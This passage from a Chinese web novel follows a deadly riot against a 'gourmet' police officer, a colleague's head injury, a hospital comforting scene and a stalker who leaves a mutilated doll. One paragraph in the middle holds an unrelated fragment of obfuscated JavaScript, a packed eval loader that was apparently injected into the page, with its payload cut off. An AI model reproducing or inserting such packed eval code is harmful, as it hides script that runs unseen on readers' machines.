“你胆敢再说一个字!!” 民警把他往警车里押去,古慷拼尽全力撑住车门:“想想我们的孩子!他们一辈子只能活在恐惧里,他们人生的意义在哪……不,不!我们的孩子诞生于世没有任何意义,因为他们最终会化为美食家脏臭的排泄物……太荒唐了!世界上还有比我们更悲惨的国家吗?!” “我们的国家病了!病入膏肓啊!!” “古慷!!!”警察们不敢对他动作太大,毕竟是个老人,伤着哪了又是一顿麻烦,可他们再也不能忍受他当街发表洗脑式言论,转头狠声对几个年轻的小刑警喝道 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一个头发花白的老奶奶捂着胸口哭喊:“你们简直是恶魔啊!你们要害了我们老百姓啊!” “我很早就想问了,为什么公安机关要好吃好喝供着美食家行凶作恶?他们就是群无脑的种猪,不应该统统杀掉吗?!” “别忘了!52年我国对全部的‘顶级混血’执行过一次死刑,也就是说美食家是可以通过司法途径抹杀的!” “没错!你说得对!国家再执行一次吧,把所有美食家杀了得了!真是太气人了!公美杀人就不管!我们老百姓犯点错就要被抓!什么世道啊!” “把那个公美交出来!” “杀了他!杀了他!!” “拍他的脸!全网搜索他的代号!一定要闹上GS总部!” 场面混乱得像爆发了战争,路法医见他们掏出手机,眼疾手快抓了一顶警帽扣在公冶头上:“人群中有抵美协会成员,他们在故意煽动大家!” 贺开宇急道:“古慷说的都是假的!他在恶意诋毁!” 公冶进退两难,在铺天盖地的骂声里快丧失思考的能力。他不能再留在这。 “影青你回车上!开宇你也是!” “我?!” “你要被波及的,回车上快点——” 形同虚设的警戒带被一股脑冲破,最前方的刑警压制住了一批暴怒的民众,但压不住整整一群,狂躁的人潮轰进了现场,带着必死的意志向救护车蜂拥而上。 扔鸡蛋的女人太瘦弱,她被撞得绊了一跤摔倒在地,小孩眼睁睁看着自己的妈妈被无数只脚轮番践踏,爬起来又被踩下去,身体在尘土里像濒死的鱼翻滚着:“妈妈——!不要啊啊啊啊妈妈——” “别过去!”一个警察抱起小孩,逆着人流好不容易挣脱出危险地带,孩子胸腔剧烈收缩,哭得合不拢嘴:“救我妈妈!求求你了叔叔!你救救我妈妈啊啊啊啊——” 女人被踩得全身是血,已经不动了。不计其数的木棍铁棒在空中扬起,见了警察就狂劈乱揍,一名女警被团团围住。 “不要打人!别打——” 只顾着嚷嚷的多半是普通群众,至于拿棍子的必然不是什么善类,正是他们在警戒带外觍着脸问东问西妨碍执法。公冶没想到现场潜伏着如此多的协会成员,女警被淹没了,他冲上去把发疯的他们扯开,扶起受伤的女警拉出包围圈。 “打他!是公美!他伤还没好!快打死他!” “小八你走!太危险了别管我——”女警脚不行了,使出全身力气把他往外一推。 “住手!不要打她——” 有了一个缺口,几名刑警趁机冲进包围圈,把那些疯叫的暴徒迅速反剪制服,踢开满地的棍子:“停止反抗!你们的行为已构成犯罪!阿辉给他上铐!!” 啪啪啪!啤酒瓶和石块从四面八方飞来,砸在救护车车窗上,阿辉回首望着车子周围挤满了人,失声叫道:“影青和开宇有危险!” 砰——! 一声枪响,暴乱的人群霎时冻住,朝天鸣枪警告的刑警神色惊恐:“不准再闹了,否则我们将采取武力制止!” “好啊,好!警察开枪了!警察要杀老百姓了——!” 公冶被挤得呼吸不畅,目光所及之处全是人,他们面目狰狞,唾沫横飞,把他当做过街老鼠指着鼻子一个劲地诅咒唾骂。 “害虫!畜生!吃人的恶鬼!你配当警察吗!你个禽兽不如的杀人犯!给我滚出古洛!” “滚出古洛——!” “抓住他!帮我抓住他!” 路法医搡丢了,开宇也不见了,医护人员都吓破胆躲进了车底,棍棒在人海中横扫,直直朝他甩来,打中公冶受伤的手臂。 他吃痛不已,单手扶住了救护车。 “他快不行了!”一个妇人迫切地叫道,“快给他致命一击啊!” “不要不要!闹出人命了!不要打了!”人群中有个小年轻,拼了性命才挤到公冶身边,挥舞着手臂阻挡攻击,“不要再打了!你们疯了吗?!” 玫瑰三叉戟高高地映射在瞳仁中,随之挥来一根锈迹斑斑的铁棍,对准那个劝架的小年轻当头劈下,公冶心惊,立刻推开了她。 “青——” 嘭!!! 重击声沉闷地刻入骨髓,可他身上不觉疼痛。公冶向后一退撞在车窗上,托住倒向自己的人。 四周莫名其妙安静了,喘息声此起彼伏。 小年轻睁圆湿润的眼,一个踉跄,跌倒在地。 公冶也在轻喘,看了眼小年轻,又看了看围满的人,最后意识才回到手中托住的这人身上,紊乱的呼吸也在这一瞬间扯紧。 不动了,为什么? 掌心有湿漉漉的液体,是谁的? 意识快散了,眼前在天旋地转,嘶吼隔到了天边,人影都在压过来。 那人沉沉地往下坠去,整个人的重量拖着公冶一起跪在了地上,公冶下意识去摸他的头,更湿了,这是什么。 “……” “开宇。” 贺开宇没有任何动静,挂在公冶的肩膀上,垂着头,殷红的血沿着肩颈一路流淌,淌到刚包扎好的雪白绷带上。 “不……”公冶渡莲张开嘴,瞳孔震颤着,“不要……” “开宇啊——!”路法医衣服都烂了,挣出人群,惊叫着扑上前,豆大的泪珠刮散在半空中,“开宇醒醒!” “开宇?!” “贺开宇——” 同事们奋力扒开人群聚拢过来,失态地呼喊着,公冶抱着满头是血的贺开宇,浑身的麻木让他感受不到怀中的分量。 还是没变。 他发现自己还是没变。 和二十年前一样,他又一次把生命中重要的人推向刀尖,又一次坐视了他们的死亡。 自私到极点。 …… 市医院,急诊大楼。 极乐付完医药费,听到走廊上传来急躁的喊声,一闪而过的几道身影全是熟悉的,她在原地呆了一秒,即刻追了上去。 诊室的门打开了,坐在长椅上抄着手臂闭目养神的毒株睁开眼睛:“医生怎么说?” 邓烟雨关上门:“医生说我再晚来一点,伤口就愈合了。” “什么极品医生,爱开这种玩笑?” “问题不大,磕破点皮,这几天不能沾水。” “你血流得那么壮观,我以为高低要打个石膏,”毒株插着兜站起身,静了几秒说,“你听,楼下貌似很乱。” “拜托,我耳朵没有那么灵。” “喂!出事了!”走廊转角口,极乐飞快跑来,“市局刑侦支队一名刑警被抵美协会打伤头部昏迷不醒刚推来医院做手术!” 邓烟雨一脸惊愕,毒株淡定地问:“和东行案有关?” “是的,现场踩死了两个人,很多警察受伤,组长也在,”极乐慌了,“他好像不太对劲。” 邓烟雨怔怔听完,连担心的时间也没有,拔腿朝急诊手术室赶去。 79. 110127 急诊大楼忙坏了,通道上随处可见负伤的警察,邓烟雨在窗口看到大楼下面警灯闪烁,黑压压的防暴大队已把入口封死。 “抵美协会要冲进来,你看地上的砍刀棍子,只能这样了。” “带枪的压制了吗?” “早逃了。” 极乐逮住个还能跑的新警问了伤者情况,邓烟雨听完更慌了,推开门冲到里面走廊,一眼看见坐在排椅上的人。 他低着头,黑发稍乱,两手垂在分开的腿间,身上警服又脏又破。尽头手术室亮着灯,是这片画面里唯一的光源。 邓烟雨站在离他十米远的地方,不再靠近。 窗外隐隐捶响春雷,铅云在逼近,黯淡的光线披满长廊,他毫无反应地坐在那里,安静得像一层灰烬。邓烟雨记得很清楚,今天明明是个大晴天。 她握了握拳头,走上前去,在他面前站定。 他一点没动。 极乐和毒株不准备接近,转身去问其他警察关于事件的细节。 邓烟雨目光下移,一枚紫露草警徽掉在地上,金色的背面刻着警号。她当初住在他家,曾在收纳篓里发现了警徽,翻过来有一串数字,心道原来公美的警号藏在这里,为什么要藏起来呢?问题没想完,她就转头和靠在沙发上翻阅杂志的男人抱怨道你洗警服下次记得摘花花啊,这次好在它自己掉了,金属的东西还带着尖尖头很容易划破我们的衣服的。 虽然只瞥过一眼,但这个警号,她知道自己会记一辈子。 邓烟雨蹲下,把它捡了起来。 “公冶警官……” 一阵长久的死寂,公冶略微有了动静,也只是撑住额头,并不出声。他想回应点什么,可已经没力气开口。 太累了,太厌烦了,张口说话都觉得费劲、没必要,不想接触任何人,只想一个人待着。让我一个人待着,别管我了,好想去死,死了也好…… 死了也好。 他痛苦地抓紧头发,又松开,目如死灰,空洞得寻不到一丝希望。邓烟雨伸手慢慢攀住他的膝盖,仰起头注视着他:“你的警徽掉了。” 公冶不想看见人,偏过头,散漫的黑发遮着表情:“随它去。” “你不要了吗?” “……” “这是很重要的东西。” “……” “那我替你保管?” “……” 邓烟雨握住他的手:“但是,警徽是人民警察专属物,具有神圣的含义,我不能随便替你保管,所以还是需要你自己拿着,如果你也不需要了,就把它还给曾经给你的人。无论过程再艰难,我们都要做到有始有终,好吗?” “不要和我说话,”公冶声线轻颤着,哀声说,“拜托你……” “不要和我说话……” 走廊外有朦胧的哭喊声,好像是个婴儿的,也特别像一个成年人。邓烟雨听了会儿,垂眸说:“是么,你快受不了,想逃避了吗?” “……” “那就逃避吧,找一个你认为舒适空旷的地方使劲发泄,把至今为止积攒的愤怒与委屈无所保留全部发泄出来,直到觉得够了,身体里差不多空了,那就重新回到这里,然后,再好好地看我一眼,可以吗?” 公冶垂下了手。 “我们没法选择,既然已经来到了这个世界上,总要面对各种各样的挫败与打击,不过我们也有幸福的时候、欢笑的时候,即便真的没有,我们的人生也能在不断爬起时下定的决心中渐渐富有意义,再渺小的事物也有意义,所以不要觉得自己不配活在世上,不要悲观地看轻自己,因为从出生那天起,从睁开眼睛看到世界的那天起,你就已经赢了一次,你就是有意义的。” 刹那间,一些碎片般的记忆飞速闪过——女人干瘦的手,苍白的病号服,争抢与哀嚎,混战下飘落的照片……一幕一幕陌生却历历在目地闯进脑海。 公冶失魂落魄地抬起眼。 “医生和护士在和死神抢人,贺警官也在加油,大家都在拼命努力,只有你是一个人,我明白的,一个人太累了,你也不想一个人抗下所有苦痛,所以靠向我们吧,我们一起努力,一起面对好不好?” 他惘然地看向邓烟雨。 邓烟雨坚定地深望着他:“放弃也可以,但我是个小心眼,我只给你一天时间放弃,明天能不能振作起来?” “明天不行就后天,在贺警官醒来之前,你得振作起来,不然被贺警官知道你一蹶不振缩在角落里长蘑菇,他会笑掉大牙的。” 公冶眸子微不可察地一闪,漾开了翠绿的色彩,在破碎地流转着。 “我抱抱你好吗?” “……” “让我抱抱你。” 邓烟雨刚张开双臂,公冶就俯下身向她靠去。 “哭出来吧,”邓烟雨闭上眼抱紧了他,“你总是不哭,憋在心里。” “我哭过,”公冶说了句很孩子气的话,好像为了争论一个无关紧要的对错轻声道来,“我想起那次,把你送进手术室的那天……” “那天你哭了吗,我居然不知道,知元哥也不告诉我,”邓烟雨温柔抚摸着他的后脑勺,“这下好了,你有小辫子在我手里了。” 公冶抱着她,不说话。 “不要怕,贺警官会渡过难关的。” “他为什么要替我挨下那一棍……” “因为你总是被欺负,任谁都会心疼。” “谁都会……” “对呀,谁都会,贺警官,熊警官,友知姐,暮火哥,特发科的大家,朗院长小马哥和孩子们,还有好多好多我不知道但你一定知道的人,”邓烟雨说着说着脸红了,“还有我,我超级心疼你,宇宙第一心疼你。” 公冶心跳沉了一拍,邓烟雨捧起他的脸,说:“哭唧唧也没事,你可以跟我哭,我不会说出去的。” “我感觉你会说出去,我有点不信你。” “啊是吗?所以你只对着知元哥哭唧唧,因为知元哥嘴巴比蚌壳还紧,他不会把你的糗事往外传?”邓烟雨故意摆出生气的脸,“我要吃醋了,我们可是共患难的情分,你对着我哭一下不行吗。” 公冶疲惫的脸上化开一抹极淡极淡的笑:“我有时候觉得,小雨你真的好坚强。” “那当然,我立志要做女强人的,我还跟祁宴宣战了,开个大公司吞了他的祁耀集团,”邓烟雨趴在他大腿上,托着腮笑,“怎么办呢公冶警官,十年后你可能高攀不上我了。” “我现在已经高攀不上了,”公冶束手无策地说着,摘掉她头发上的小灰尘,“你受伤了?” “嗯?”邓烟雨活力满满地动了动手臂,“没事啦,小伤,话说你和毒株一样鼻子好灵哦。” “怎么伤的?” “今天我们抓了三个小坏蛋。”邓烟雨把救猫的事滔滔不绝叙述了一遍,公冶听得心里不安:“以后不要一个人去,太危险了。” 左侧传来急迫的脚步声,是蒋淮和熊小滚,公冶见状起身。 “人怎么样?” “还在抢救。” 衣衫褴褛的路法医拉着庄鹭在外头控诉,极乐越过她们蹑悄悄追上来,躲在毒株身后用夸张的口型向公冶知会:赵、局、也、来、了。 蒋淮紧张地望了眼手术室,似乎要把贺开宇这个人从里面好好地望出来,再面向公冶,神色严峻:“我不是告诉过你,不准私自行动吗?” 公冶预料到会迎来这个,半晌低沉地说了句:“对不起。” “对不起就可以一笔勾销?”蒋淮脸色铁青,声音也狠了,“躺在里面的是我的下属!你倒好,身上的伤都愈合了吧。” 熊小滚面容难掩痛色,拽住激动的蒋淮,想为公冶分辩一句,却不知从何开口。 “为什么要责怪他?他身上的伤哪里好了?你看到了吗?你看到他身上的伤都好了吗?” 邓烟雨直视着蒋淮,整张脸面无表情,甚至端着几分冷酷,一连串问题让在场所有人不禁惊疑。 “贺警官和影青警官揪出了东行碎尸案的真凶,而他们被凶手陷害纷纷受伤进了医院,为什么现在是负伤流血的一方在接受您的批评指责?” “让真相浮出水面有什么错,反倒是您,现场发生暴乱的时候,请问领导您在哪?您的下属为了救人受伤的时候请问领导您在做什么?” 公冶和极乐完全石化了,并且露出这一生从未露出过的恐惧绝望的表情,熊小滚瞪呆了眼睛,毒株抄着手臂斜倚一旁看好戏。 蒋淮匪夷所思,像是不理解这里怎么会有个外人在。 “看我干什么,我不能实话实说?您在赶来的途中理应了解过事件原委,杀人的是抵美协会,引发暴乱的是抵美协会,堵在医院门口试图冲进来再杀一次的也是抵美协会,所有的坏事恶事烂事都是抵美协会干的,请问这和影青警官有什么关系?因为他是美食家?你歧视他?让公美视情况戴美瞳执法不就是你们上层定的吗,他按规章办事你凭什么一上来就朝他发火?原来当官的这么横啊,只知道推卸责任压榨基层欺骗民众——” “邓烟雨——!!”熊小滚厉声一喝,拧着惨淡的眉毛吩咐,“无关人员立刻离开这,你和影青出去!极乐你们都出去!” “哎好!”极乐就等这一声,麻溜地拉起邓烟雨往外撤,邓烟雨顺手牵起尚未反应过来的公冶,毒株不疾不徐跟在最后。 夜色降临,他们坐在庭院长廊下。手术还没结束,急诊大楼灯火通明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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公冶轻瞥他一眼,微微清嗓:“我心理比你健康。” 毒株爆笑:“哈真的吗?一半一半吧leader,你要是比我健康,那前面坐在椅子上崩溃抓头的是谁??” 公冶:“……” 毒株知道自己过分了,缓了缓,尴尬地说:“我刚态度不好,我改正。” 公冶一脸漠然:“你还是说难听的话吧,我听着顺耳。” 毒株:“……” 他们等到了晚上八点,也没等来消息,公冶让极乐他们带邓烟雨先回家,极乐没听见,她去找防暴队的人问情况了。 毒株喊了她一声,甩着钥匙去开车。公冶想起一事,问邓烟雨:“和管家调过监控吗,敲门那事。” 她抬头和他对望片刻:“啊,嗯,问过了,是有人找错门了。” 其实没有问,最近课多加上兼职,她天天早出晚归,遇不上管家,而且自那之后没再发生过类似的情况,她都把这事抛诸脑后了。 警车开来了,临走前公冶对极乐说:“确认她安全到家了再走。” 极乐愣了下,点头:“知道。” 半小时后,警车停在晓月公寓楼下,邓烟雨下车朝他们挥了挥手。 “宝贝有啥事就call我,我都在!” 他们在楼下等了十分钟左右,极乐|透过车窗看见七楼房间亮了灯,便碰了碰小憩的毒株:“出发。” 房间内,邓烟雨靠在门口,捂着剧烈跳动的心脏,手机屏幕上是公冶的联系方式。 她差点打过去了,因为门外那个东西—— 电梯在第七层打开,外面黑漆漆一片,走廊灯又没开,邓烟雨熟门熟路往自己公寓门口走去,月光把她那一户照得比较明亮。 木地板泛起细微浮尘,她门前放着一个礼盒,系着红缎带。 “这是什么?给我的?” 邓烟雨疑惑地拿起盒子,缎带丝滑地扯落下去,她打开盖子,里面是一只卷发娃娃,诡丽的面部七窍流血,四肢被绞断,做成了人彘的样子。 娃娃冲她凄厉地笑着,她吓得赶紧扔开,血娃娃像颗肉球从盒子里咕噜噜滚出来,借着月光与她一眨不眨地对视。 邓烟雨呼吸乱了,抖着手输入密码要进屋,转念一想不能任由它睁着血眼躺在这,便把娃娃装回盒子里丢在门边。 关上门后,她双腿几乎瘫软,手摸到开关把灯全打亮,一看手机,不知何时已翻出了他的号码。 不行,不能打给他,他已经很累了,不能再麻烦他。 邓烟雨拉上窗帘,坐到桌前,抱着膝盖把头埋起来,命令自己冷静。 到底是谁。 深夜敲门,送血娃娃,做这一切的到底是谁? 她想不通,但她冥冥中能感觉出,对方将会有第三次行动。 80. 舞剧 周末一早,邓烟雨找管家查看了监控。视频里敲她房门的是名男子,穿深色风衣,戴着帽子和口罩,胸前挂了个东西,被衣领挡住了,监控从上往下俯拍的角度无法抓取到他的脸。 走廊和电梯口的监控也调了,他把自己包裹得挺严实,微弓着背,一路东张西望荡过去,最后站定在邓烟雨房门口。 第二天的血娃娃也是他放的。 “我们晚上下班前,公寓的大门都会关上,没录指纹进不来,但总有一些租客回家晚,开了门忘关也是有的,”管家态度温和地说,“我会在朋友圈发消息提醒一下,如果再有类似情况发生你可以打我电话,或者直接报警。” “好的,麻烦你了。” 目前也想不出更好的办法。邓烟雨拍了张照,上课期间时不时会划出相册里的照片陷入沉思。 她是否在哪里见过他? 难道是面包店的客人? 下午,她站在收银机前想着事情,一个女人把托盘放到她面前。 “结账。” “没耳朵吗,结账。” 邓烟雨惊醒过来,忙道:“不好意思不好意思,我马上帮您结账。” 女人整理着颈下的昂贵丝巾,垂着眼皮默默打量她,淑芬听到外面有动静挑帘出来了,邓烟雨把面包装好,双手递上,女人没接,仍在打量她。 邓烟雨不解地扬起眸,正好撞上她溢出恶毒、犹如蛇蝎的目光。 “没教养的婊子。” 邓烟雨睫毛轻颤,手僵在半空,当场愣住了,旁边的淑芬呆了一秒,脾气一下子蹿上来:“哎你谁啊,讲话这么不干不净?!” 女人夺过袋子转身离开。门口铜鱼风铃晃响,庆云今低头看着手表走进来,和女人擦肩而过,一股浓郁的香水不由得让他屏住了呼吸。 他回头望望女人,又转回来看向淑芬和邓烟雨。 “更年期的八婆,老公出轨了吧,嘴巴这么臭!烟雨,下次再见到她你就往死里轰她!轰不过就喊我,看老娘不把她骂退化了!” 庆云今随手拿了一个面包过来问:“没事吧?” “没事个大头鬼!刚出去那女的,真有病!上来就骂人——” “好好好,我知道了。”庆云今就怕淑芬跟挺机关枪似的哒哒哒收不住,一脸认输地举手。 “你知道个屁,你知道她说什么话了吗,说得难听死了!” “没事淑芬姑姑,我没放在心上。”最近身边总发生奇怪的事,邓烟雨习以为常了,透过玻璃门望着马路边那辆橄榄绿SUV亮了亮灯,她眉头微皱。 “你认识她吗?” “不认识,更别提惹过她了。” 庆云今和淑芬相视一眼。庆云今面色如常地宽解道:“不想了,世上奇怪的人多了去了。” “是啊烟雨,就一神经病,别当回事,”淑芬手叉腰,甩了眼庆云今,“你今儿下班早啊。” 庆云今“嗯”了一声,目光移向邓烟雨,她看上去已经没事了,正给他结账装袋子,淑芬要回面包房,庆云今叫道:“姑姑。” “啊?” 他从大衣口袋里掏出两张票:“我有两张《红楼梦》舞剧的票,我朋友特意让剧场里的人帮忙留的,可他临时有事不能去了,你要吗?” 邓烟雨眼睛一亮,朝他手中的门票看去。淑芬伸手接过:“哎哟,我八百年没看舞剧了……你朋友关系够硬啊,这票都能留出两张,不实名?” “都认识,能通融,”庆云今说,“找你的小姐妹去看吧。” “时间是下周三,我估摸着也没空,你干嘛不去看?” “一个人看没意思。” 淑芬愣了愣:“哎,上次老庆和我提起宋总的女儿,你不和她去看?” 庆云今神态有些变化,别过头:“我为何要和她去看,我们又不认识。” 瞧他明显是不愉快了,淑芬作为过来人只是无可奈何地笑笑,语态自然地转了个弯:“烟雨,你有兴趣吗,舞台剧。” 邓烟雨掩饰着喜色,小心翼翼答道:“我还行。” “哈哈,我一看你小表情就知道你绝对喜欢,这票给你吧。” 演出门票的位置在池座,不便宜。邓烟雨实在不好意思拿,摆手推辞。 “拿着吧,给我也没用,我没啥艺术细胞,不太懂这个。” 邓烟雨:“可给我两张,我也找不到人去看……” 她好久没和公冶联系了,贸然约他看舞剧会不会不太好? 他这几天大概很忙,之前嘉怡花苑发生暴乱踩踏事件,有人一气之下嚷着要上GS总部讨公道,结果没两日抵美协会真去闹了,而且来的不止他们,反暴公会死了主心骨,被打到家门口了正有火没处撒,高举裴远航的遗照就和抵美协会在GS总部门口互殴起来,两方人马真就把公安局闹翻了天。 该抓的都抓去市局了,网上无条件支持和强烈谴责的评论各占一头,抵美协会依旧名声不减。至于公安部对公美的态度,和从前一样,套公式一般形式主义地给予安抚,同样也不会给出任何相对应的改革措施。 公美仍然是警界不可或缺的主要防卫力量,没道理为了平定个别民心而下狠手整顿,但也仅此而已,他们既然强大,就理应忍受一定的不公平待遇。 好像在政府眼中,抵美协会和美食家之间的恩怨,不过是小孩子放鞭炮玩出的火,吵了点罢了。 会议开了长达四个小时,GS总部指挥官全程缄默,没反驳,也没说一句感谢的话,平静地听完平静地离去。 已经谈不上寒心了,这是一个令人死心的结果,显然高座上的各位老大未曾意识到用两面光的方式来维系和平是多么愚蠢的决定。 万物制衡才是最完美的状态,美食家可以有,条件是抵美协会必须存在,于是纷争也不会停止,或许日后还会有无数个“裴远航”相继死去。 所以就这样了吗,难道不该从源头斩断这一切吗? 美食家从一开始就愿意是美食家吗? 熊小滚有心无力,脑袋快裂了,累得蹲在花坛边缓神,再站起来时被正午的日光一炫,眼前发黑,倒下时看到天幕下的国旗正迎风飘舞。 公冶和暮火就在后面,见状大惊,忙跑出去扶人。这边刚出事,朗院长那又传来消息说小可排异反应加重了。 坏事接踵而至,他等于是在“上有老下有小”地两头忙,哪有闲情雅致陪她去看舞剧,再者友知姐跟他一个组的,他忙的话,友知姐也不见得能腾出空。 庆云今说:“你可以找小凤一起去看。” “那蔡蔡怎么办,”邓烟雨问完又问,“她们会爱看吗?” 庆云今说完便想起庆威凤和蔡蔡之前吵着闹着要去看歌剧,结果演出开始十分钟不到,两个人就在位子上睡得流口水:“好吧,我收回上面那句话,她们两个确实……” “哎呀别纠结了,小凤蔡蔡跟我一样脑袋瓜装不进一点墨,”淑芬恨铁不成钢地瞥着庆云今,“你陪烟雨去看不就行了吗,票本来就是你提供的,时间又在晚上,你们一个下课一个下班,正正好,就这么定了。” 邓烟雨和庆云今异口同声:“这不妥吧。” 淑芬失笑:“哪里不妥?你们都单身我才这么建议,我自个儿出去旅游也会找驴友,这跟搭伙凑伴是同等道理嘛。” 庆云今没再回应,邓烟雨倒是想开了。她盼着《红楼梦》舞剧很久了,之前团队在九保巡演,她都想买票去看,可惜没抢到,这次来了歌华,现成的机会摆在面前,再不珍惜就是傻子。 邓烟雨抬头和庆云今说:“那我们去看吧。” 没想到她会先答应,庆云今斟酌不久,便点头了。 晚上回到公寓,邓烟雨坐在桌前听着注会教学视频,往笔记本上记公式,突然脑中灵光一闪想起一事—— 难怪觉得那辆SUV眼熟,她曾在春水镇咖啡馆门口见过!由于车子颜色少见,她留了个印象。 邓烟雨站起来,在房间里来回踱步,侧头盯向自己的公寓门。 那个半夜敲门、送血娃娃的男人和这个SUV女人有关系吗? 手机响了,是极乐打来的电话。 邓烟雨快速接起,没给对面say哈喽的机会,立马开口:“友知姐,我有件事要和你说。” 周三晚上七点,歌华离江国际剧院人流如织,邓烟雨先到约定地点,五分钟后庆云今来了,他还穿着西装,像是刚下班。 “人好多,我真怕你找不到我。”邓烟雨说。 “你连挎什么牌子的包都和我说了,再找不到,就是我的问题了,”庆云今摇摇手机,“电话可以挂了。” 邓烟雨低头一看自己还和他通着电话,难为情地笑了:“啊真是,我怎么还通着电话,忘记挂了。” “这次贾宝玉的扮演者是最有少年气的那个。” “是掉眼泪像珍珠的宝玉吗?”邓烟雨雀跃地说,“我看网上的截图,他的长相和原著最贴切,评论说他的舞姿尤其惊艳!” 庆云今笑道:“听你这么说,我都有点期待了。” 他们往大剧院走去,津津乐道聊着《红楼梦》原著的故事,远处,一辆闪烁的警车停在树下。 “咦,我有没有看错?”蝶衣坐在副驾驶,猛地把金刀的头推开。 “啊疼,蝶衣你干啊啊啊疼!” “金刀,你别动,”蝶衣温声软语地一嘘,看似柔弱的胳膊把呜哇乱叫的金刀摁得愣是半丝气都吭不出了,“真是她吔,斗香,你瞧见了吗?” “瞧见了,”执勤结束的斗香歪在后座伸了个懒腰,胳膊搭上窗口,锐利的双目懒洋洋扫出去,“哇哦,看背影是个气质型帅哥呢,难怪影青这两天除了埋头工作就是闷头开会,原来是爱情的小船触礁了。” “要和他说吗?” “不,和极乐说吧。” 金刀好不容易挣开蝶衣的手:“为什么要和极乐说,你们想让极乐听完去和影青说吗,别这样,人家自由恋爱,我们没理由干涉。” 蝶衣恍然大悟:“你说得对,那我们还是不说了吧,斗香。” “好的,不说了,我也觉得金刀的话在理,”斗香抛着手电筒,“反正该着急的也不是我们,自己不及时争取,到头来后悔也来不及。” 金刀看看她们两个:“你们说的是……谁啊?” “谁也不是。小刀子,出发!” 金刀:“别喊我小刀子!” 斗香大笑,抱着副驾驶的椅背:“话说今晚哪两组值班?” “影青和响尾,一组和三组。” GS总部灯火寂寥,公冶去楼下领了镇血剂,刚回到办公室门口,就听见里头哀声一片。 他拉开门,响尾呼天抢地扑上来:“青啊!我受不了了!快把你的小毒宝领回去!” 毒株来总部报到有段时间了,公冶想着不能让他只在一组里划水,最好换个模式练练,于是把毒株交给三组带,这才几天,响尾就哭成了林黛玉。 公冶走向自己工位,长辈一般语重心长问道:“阿毒又干什么了?” “不听我的话啊!” “是啊!”极乐捏爆蔬菜汁,“现在连我的话也不听了!小瓜娃子要大闹天宫哩!如来熊祖和暮火大帝都不放在眼里!” 公冶锁上小银管,坐下来输入电脑锁屏密码:“哦,这么严重?” 响尾:“我说他一句都不行!还反过来问我是不是属蛇?!” 极乐:“表扬他也不给好脸色!气撒我!” “不会吧,”他双击邮箱系统,滑动鼠标,点了几下,后面的打印机嗞嗞吐出几张报告,“我从来不表扬他,他也很听话的。” “那是你啊!!!” 整个办公室的人都叫了起来:“他只听你的话啊!!!” 公冶:“……” 响尾备受折磨:“带走带走,这孩子我管不了一点!” “这就认输了?”公冶往椅背上一靠,徐徐道来,“先前是你说阿毒的长相对你胃口,很有意思,让我送给你养一养……” “我谢谢你!算我瞎了眼才看上他!” 公冶嘴角略略扬了一下,随即恢复一贯的平淡。但大家伙皆松了口气。 总算笑了…… 这些日子他把自己埋在工作中,有时一天下来都听不到他说句话,听到了也无非是与工作有关,整个人如同一具冰冷机械运行着的机器。 极乐见气氛稍缓,放下蔬菜汁,椅子一滑,来到公冶身边:“哎,小雨最近好像被谁盯上了,又是敲她门又是给她送带血的娃娃,还被一个开SUV的女人记恨上了,你知道吗?” 公冶缓缓转过来:“有些不知道。” 有些?极乐瞄他一眼,觉得他经历了两起大事件,讲话都严谨许多,配合着应道:“噢,是吗,她没和你说?” “没全说。” “噢噢,那你……”极乐颇为艰难地说,“那你,要管吗?” 极乐心中长出一口气,感觉自己两头不讨好,像在受夹板罪。 公冶却问:“你私下去查了?” 他口吻透着不经意的淡薄,更蕴含着一种肯定——不容极乐狡辩的肯定。 极乐满目悲凉地看他,第一次体会到了上级施加下来的压力,心喊完了,规规矩矩反省道:“抱歉,我知道我违纪了,但我担心她,也不知是什么垃圾变态觉得她可爱就缠上她了,我跟你透露这件事,也是不希望你被蒙在鼓里,你别那么死板把我供出去,行吗leader大人,我会发你检讨的。” 毒株总是“leader、leader”地喊公冶,导致他们组里的人都爱这么喊了。 公冶目光留在电脑那:“到哪一步了?” 极乐麻利地从身后抽出一张纸,忙不迭呈上:“你看。” 公冶接过纸,上面是个人车辆信息,附着车主信息。他眉头皱了起来。 和古慷有关的人与事,他不仅不会忘,还记得异常清楚。他又想起在解剖室里看到的一罐牙齿——将近一升的透明玻璃罐里塞满了雪白的獠牙。 “或许这个该给你,”路法医脸色难看地说,“但我更希望你别看。” 他把玻璃罐转了一面,上面贴着张纸,写着“清绝的牙”四个字。 “古慷卧室里搜出来的,他似乎很宝贝这只罐子,牙齿都保养得相当细致。” 公冶只感到一阵恶心。 拔了还能再长,于是他拔了那么多…… 这样的人原来也可以正常地组成家庭,生儿育女。公冶盯着手头的信息,对这辆橄榄绿SUV并不陌生,至于附带的这位车主,更熟了。 她不是古慷的儿媳吗? 之前春水镇咖啡馆门口,她把孩子耳朵拧裂的画面记忆犹新。 他们想干什么?对邓烟雨要干什么?古慷让出会长之位给他儿子,他儿子的老婆又盯上小雨,他们这一家子都和抵美协会脱不了关系,还脑子有病。 “你这几天和小雨有联系吗?” “有啊,”极乐说,“她今天和我说晚上要去看《红楼梦》的舞剧,心情特别好,我想着那个变态应该没再骚扰她。” 一件事不了了之最可怕,公冶并不觉得会就此结束,正巧这时,某人吹着口哨从走廊经过,公冶唤道:“毒株。” 毒株给了一眼。 公冶给电脑锁屏,起身去拿打印机上的报告,然后朝外走,毒株像点了穴静止不动,公冶用文件夹敲了他的肩膀:“来陪我打一枪。” “不打,我要回去睡觉。” “值班呢,”公冶声音冷了,“睡什么觉?” “我累了。” 公冶朝他款款走近:“训练或者去办公室坐着,你自己选。” 毒株啧了一声。 “不敢?怕输给我?” 毒株冷笑:“我有什么不敢。” “那就走吧,”公冶先行一步,毒株不肯屈居于后,非要超过他,并且越走越快,公冶就站在楼梯口,看他跟个傻子似的继续头也不回地笔直向前冲,无奈地吼了一嗓,“往这走!犟种!” 毒株:“……” 办公室门口探出好几个小脑袋。 “哇哦,被骂‘犟种’都不还嘴,影青到底给毒株施了什么咒啊?” 刺舟扒着门框,眨巴眼:“我前几天听到毒株喊组长‘莲哥’。” “什么??!!” 响尾使劲揉了一下刺舟的圆脑袋:“好儿子,回去工作,”又见女生们讨论激烈,静了静说,“毒株以前在九保有个双胞胎哥哥。” “那他哥哥呢,还留在九保分所?” “死了。” 大家不约而同安静下来,办公室瞬间只余窗外吹来的些微风声。 